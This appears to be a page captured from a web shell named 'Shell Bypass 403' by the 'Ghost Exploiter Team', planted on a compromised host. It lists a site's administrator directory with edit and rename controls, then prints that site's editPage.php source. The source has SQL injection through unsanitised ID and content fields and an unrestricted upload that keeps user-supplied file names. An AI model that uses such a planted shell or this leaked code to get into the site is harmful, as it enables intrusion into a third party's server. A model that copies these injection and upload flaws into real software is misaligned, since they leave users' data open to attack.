Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /home2/ajwaeing/public_html/administrator/

File / Folder	Size	Action
.	-
bootstrap	--	ren
classes	--	ren
dist	--	ren
images	--	ren
js	--	ren
plugins	--	ren
addBanner.php	6.448KB	edt ren
addCategory.php	4.82KB	edt ren
addPage.php	7.323KB	edt ren
addProduct.php	5.96KB	edt ren
changePassword.php	3.068KB	edt ren
delBanner.php	0.54KB	edt ren
dishcode.php	0.269KB	edt ren
editBanner.php	7.394KB	edt ren
editCategory.php	5.238KB	edt ren
editPage.php	9.358KB	edt ren
editStaff.php	6.956KB	edt ren
error_log	0.199KB	edt ren
header.php	2.023KB	edt ren
home.php	0.037KB	edt ren
index.php	5.087KB	edt ren
lock-screen.php	3.122KB	edt ren
lock.php	0.662KB	edt ren
login.php	3.983KB	edt ren
logout.php	0.091KB	edt ren
pager.php	2.325KB	edt ren
pages.php	0.229KB	edt ren
sidebar.php	1.964KB	edt ren
styles.css	0.637KB	edt ren
viewBanners.php	5.173KB	edt ren
viewCategories.php	3.404KB	edt ren
viewPages.php	4.314KB	edt ren
viewProducts.php	3.085KB	edt ren

<?php
session_start();
require_once "classes/dbConnection.php";
$db = new dbConnection();

$_SESSION['KCFINDER'] = array('disabled' => false);

if(isset($_POST["pid"]) && !empty($_POST["pid"]))
	{
	$id = $_POST["pid"];
	$seotitle = $db -> clean($_POST["seotitle"]);
	$title = $db -> clean($_POST["title"]);
	$category = $db -> clean($_POST["category"]);
	$keywords = $db -> clean($_POST["keywords"]);
	$descriptions = $db -> clean($_POST["descriptions"]);
	$imgtitle = $db -> clean($_POST["imgtitle"]);
	$imgdesc = $db -> clean($_POST["imgdescription"]);
	$summary = $db -> clean($_POST["summary"]);
	$pgstatus = $_POST["pgstatus"];
	$featured = $_POST["featured"];
	$bimage = $_POST["bimage"];
	
	if(isset($_POST["rimage"]))
		$rimage = $_POST["rimage"];
	else
		$rimage = 0;
	
	$page_content = $_POST["page_content"];
	$contents = $db -> clean($page_content);
	
	if(is_uploaded_file($_FILES["pimage"]["tmp_name"]))
	{
		move_uploaded_file($_FILES["pimage"]["tmp_name"], "../images/contents/" .$_FILES["pimage"]["name"]);
		$thumbnail = $_FILES["pimage"]["name"];
		$image = 'images/contents/'.$thumbnail;
	}
	else if($rimage == "1")
	{
		$image = "";
	}
	else
		$image = $bimage;
	
	$Qry = "update contents set title='$title',
				seotitle = '$seotitle',				
				keywords='$keywords' , 
				descriptions='$descriptions' , 
				pgstatus='$pgstatus' , 
				contents='$page_content' , 
				pimage='$image' ,
				summary='$summary' ,
				imgtitle='$imgtitle' , 
				imgdesc='$imgdesc',
				featured = '$featured' 
				where ID=".$id;
	//echo $Qry; exit;
	
	if($db->query($Qry)){
		header("location:index.php?action=viewPages&msg=2");
		exit;
		}
	else{
		header("location:index.php?action=viewPages&msg=4");
		exit;
		}
	}

if(isset($_GET["id"]))
{
	$pid = $_GET["id"];
	$Qry = "select * from contents where ID=$pid";
	$Res = $db->query($Qry);
	$Row = $db->fetch($Res);
	$title = stripslashes($Row["title"]);
	$seotitle = stripslashes($Row["seotitle"]);
	$category = stripslashes($Row["category"]);
	$keywords = stripslashes($Row["keywords"]);
	$descriptions = stripslashes($Row["descriptions"]);
	$imgtitle = stripslashes($Row["imgtitle"]);
	$imgdesc = stripslashes($Row["imgdesc"]);
	$summary = stripslashes($Row["summary"]);
	$pgstatus = $Row["pgstatus"];
	$featured = $Row["featured"];
	$picture = $Row["pimage"];
	$page_content = stripslashes($Row["contents"]);
	
	//echo $imgtitle;
}

</script>

<div class="content-wrapper">
        
        <section class="content-header">
          <h1>Edit Page</h1>
          <ol class="breadcrumb">
            <li><a href="index.php"><i class="fa fa-dashboard"></i> Home</a></li>
            <li><a href="index.php?action=viewPages"><i class="fa fa-dashboard"></i> Page Management</a></li>
            <li class="active">Edit Page</li>
          </ol>
        </section>
		
        <section class="content">
          <div class="row">
            <div class="col-xs-12">
              <div class="box-header">
                  
              </div>

<div class="box">
                <div class="box-body">
                  <div style="position:absolute; z-index:1000; top:300; right:0;">
<?php if(file_exists("../".$picture) && !empty($picture)) {  ?>
    	<img src="../<?=$picture?>" style="width:auto; height:auto; float:right; margin-right:50px; margin-top:100px;" class="img-thumbnail" />
<?php } ?>
</div>

<form name="form1" id="form1" method="post" action="editPage.php" enctype="multipart/form-data">
<input type="hidden" name="pid" id="pid" value="<?=$pid?>" />
<input type="hidden" name="bimage" id="bimage" value="<?=$picture?>" />
<table class="table table-striped">
  <tr>
    <td class="leftCell">Page Title: </td>
    <td class="rightCell"><input name="title" type="text" id="title" value="<?=$title?>" size="50" maxlength="100" required class="form-control" /></td>
  </tr>
	<tr>
    <td class="leftCell">SEO Title: </td>
    <td class="rightCell"><input name="seotitle" type="text" id="seotitle" value="<?=$seotitle?>" size="50" maxlength="255" class="form-control" /></td>
  </tr>
  <tr>
    <td class="leftCell">Keywords: </td>
    <td class="rightCell"><input name="keywords" type="text" id="keywords" value="<?=$keywords?>" class="form-control"  size="50" maxlength="250" /></td>
  </tr>
   <tr>
    <td class="leftCell">Description:</td>
    <td class="rightCell"><input name="descriptions" type="text" id="descriptions" value="<?=$descriptions?>" class="form-control" size="50" maxlength="250" /></td>
  </tr>
  <tr>
    <td class="leftCell">Cateogry: </td>
    <td class="rightCell">
    <select name="category" id="category" required class="form-control">
		<option value="" >--Please Select--</option>
        <option value="0" <?php if($category=="0") echo "selected"; ?>>None</option>
        <?php
		$cq = "SELECT ID, title FROM categories WHERE parent=0";
		$rs = $db -> query($cq);
		while($rw = $db -> fetch($rs))
		{
			$cid = $rw["ID"];
			$ctitle = stripslashes($rw["title"]);
			?>
		  <option value="<?=$cid?>" <?php if($category==$cid) echo "selected"; ?>><?=$ctitle?></option>
		  <?php
		  $sq = "SELECT ID, title FROM categories WHERE parent=$cid";
		  $cs = $db -> query($sq);
		  while($rwx = $db -> fetch($cs))
			{
			$cidx = $rwx["ID"];
			$ctitlex = stripslashes($rwx["title"]);
			?>
			<option value="<?=$cidx?>" <?php if($category==$cidx) echo "selected"; ?>>&nbsp;&nbsp;&nbsp;<?=$ctitlex?></option>
			<?php
				$tsq = "SELECT ID as xid, title as xtitle FROM categories WHERE parent=$cidx";
				$tres = $db -> query($tsq);
				while($trow = $db -> fetch($tres))
				{
					$xid = $trow["xid"];
					$xtitle = stripslashes($trow["xtitle"]);
					
					?>
                    <option value="<?=$xid?>" <?php if($category==$xid) echo "selected"; ?>>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?=$xtitle?></option>
                    <?php
				}
			}
		}
		?>
                        	
	</select> 
    
    	
	</td>
  </tr>
  <tr>
    <td class="leftCell">Page Status: </td>
    <td class="rightCell"><select name="pgstatus" id="pgstatus" required class="form-control">
	<option value="">--Please Select--</option>
	<option value="0" <?php if($pgstatus==0) echo "selected=\"selected\""; ?>>Inactive</option>
	<option value="1" <?php if($pgstatus==1) echo "selected=\"selected\""; ?>>Active</option>
	</select>
	</td>
  </tr>
   <tr>
    <td class="leftCell">Show link at home page: </td>
    <td class="rightCell"><select name="featured" id="featured" required class="form-control">
	<option value="">--Please Select--</option>
	<option value="0" <?php if($featured==0) echo "selected=\"selected\""; ?>>No</option>
	<option value="1" <?php if($featured==1) echo "selected=\"selected\""; ?>>Yes</option>
	</select>
	</td>
  </tr>
  <tr>
    <td class="leftCell">Summary:</td>
    <td class="rightCell"><textarea name="summary" cols="50" class="form-control" id="summary"><?=$summary?></textarea><br />
  <span style="font-size:10px;">Will be shown at home page</span>
    
    </td>
  </tr> 
  <tr>
  <td class="leftCell">Contents:</td>
  <td class="rightCell"></td>
  </tr>
  <tr>
    <td class="rightCell" colspan="2">
    <textarea name="page_content" id="page_content" required class="form-control"><?=$page_content?></textarea>
	</td>
  </tr>
  <tr>
  <td class="leftCell">Featured Image:</td>
  <td class="rightCell"><input type="file" name="pimage" id="pimage" size="60" class="form-control"  /><br />
  <span style="font-size:10px;">Max Width: 300px, Image Format: JPEG</span></td>
  </tr>
  <tr>
  <td class="leftCell">Image Title/Alt Text</td>
  <td class="rightCell"><input name="imgtitle" type="text" id="imgtitle" size="50" maxlength="250" class="form-control" value="<?=$imgtitle?>" />
 </td>
  </tr>
  <tr>
  <td class="leftCell">Image Description:</td>
  <td class="rightCell"><input name="imgdescription" type="text" id="imgdescription" size="50" maxlength="250" class="form-control" value="<?=$imgdesc?>" /></td>
  </tr> 	
	<tr>
  <td class="leftCell">Remove Image</td>
  <td class="rightCell"><input type="checkbox" name="rimage" id="rimage" value="1" /><br />
  <span style="font-size:10px;">Check this box if you want to remove current image</span>
  </td>
  </tr>
  <tr>
    <td align="right"><input type="submit" value=" Submit " class="btn btn-primary" /></td>
    <td align="left"><a href="index.php?action=viewPages"><input type="button" value=" Cancel " class="btn btn-danger" /></a></td>
  </tr>
</table>
</form>
                </div>
                <div class="box-footer">
                	
                </div>
              </div>
            </div>
          </div>
        </section>
        
        
      </div>
<script>
CKEDITOR.replace( 'page_content',
    {
        toolbar : 'Basic',
        uiColor : '#9AB8F3'
    });
		
</script>